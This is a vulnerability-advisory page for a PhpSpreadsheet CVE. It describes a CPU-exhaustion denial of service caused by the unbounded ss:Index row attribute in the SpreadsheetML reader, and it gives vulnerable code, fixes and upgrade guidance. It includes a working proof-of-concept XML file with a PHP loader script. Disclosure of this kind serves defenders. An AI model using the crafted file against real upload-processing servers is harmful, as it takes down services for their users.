PhpSpreadsheet CVE-2026-40863
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remote unauthenticated processing of an uploaded file with no interaction triggers CPU exhaustion; availability-only impact (A:H) with no confidentiality or integrity effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
// Xml.php:397-402
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
$rowVisible = ((string) $row_ss['Hidden']) !== '1';
$spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
$this->endRow = $endRow ?: $this->subject->getHighestRow();
return $this;
}With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection - it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
- Create
poc.xml:
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
<Worksheet ss:Name="Sheet1">
<Table>
<Row ss:Index="999999999" ss:Hidden="1"/>
<Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
</Table>
</Worksheet>
</Workbook>- Load and iterate:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
// Never completes
}Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes)
- Blocking the PHP worker process, potentially affecting all concurrent users
- Triggering PHP max_execution_time limits that still consume resources before killing the process
The attack requires no authentication - only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
// After line 398:
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index'];
if ($rowID > AddressRange::MAX_ROW) {
$rowID = AddressRange::MAX_ROW;
}
}Add the necessary import at the top of the file:
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
AnalysisAI
Denial of service in PhpSpreadsheet's SpreadsheetML (Excel 2003 XML) reader lets a remote unauthenticated attacker exhaust server CPU with a single ~300-byte file. The Reader\Xml component fails to bound the ss:Index row attribute against AddressRange::MAX_ROW (1,048,576), so a crafted value like ss:Index="999999999" inflates cachedHighestRow to ~1 billion; any later getRowIterator() call then attempts ~1 billion iterations. A working proof-of-concept is published in the GitHub advisory, though this is not confirmed as actively exploited and EPSS risk is negligible (0.04%).
Technical ContextAI
PhpSpreadsheet is the widely used pure-PHP library (composer package phpoffice/phpspreadsheet) for reading and writing spreadsheet formats. The flaw is in its SpreadsheetML reader, which parses the legacy Microsoft 'Excel 2003 XML' Workbook format. Per the advisory, Reader/Xml.php casts the ss:Index attribute of a <Row> element to int with no upper-bound check and passes it to Worksheet::getRowDimension() and getCell(), each of which updates cachedHighestRow via max(). RowIterator::resetEnd() then defaults its end row to getHighestRow(), so an attacker-controlled highest-row value drives an unbounded loop. This is a textbook CWE-400 (Uncontrolled Resource Consumption): untrusted input directly sizes a computation loop with no ceiling, and the DefaultReadFilter offers no protection because it returns true for every cell.
RemediationAI
Vendor-released patch: upgrade to the fixed release for your branch - 5.7.0, 3.10.5, 2.4.5, or 2.1.16 (composer require phpoffice/phpspreadsheet:^5.7 or the appropriate branch). The fix adds MAX_ROW validation clamping ss:Index to AddressRange::MAX_ROW after reading the attribute in Reader/Xml.php. If immediate upgrade is not possible, apply the vendor's clamp as a local patch (bounding the ss:Index value for both Row and Cell elements to 1,048,576), or as a compensating control avoid invoking the Xml reader on untrusted files - restrict IOFactory::createReader('Xml')/load on the SpreadsheetML path and reject files with the urn:schemas-microsoft-com:office:spreadsheet namespace at upload time (trade-off: legitimate Excel-2003-XML uploads are blocked). Additionally, process spreadsheet parsing in an isolated worker with a strict CPU/time budget (e.g. a tight set_time_limit plus a hard external kill), noting this only limits blast radius rather than preventing the DoS. Advisory URL: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-84wq-86v6-x5j6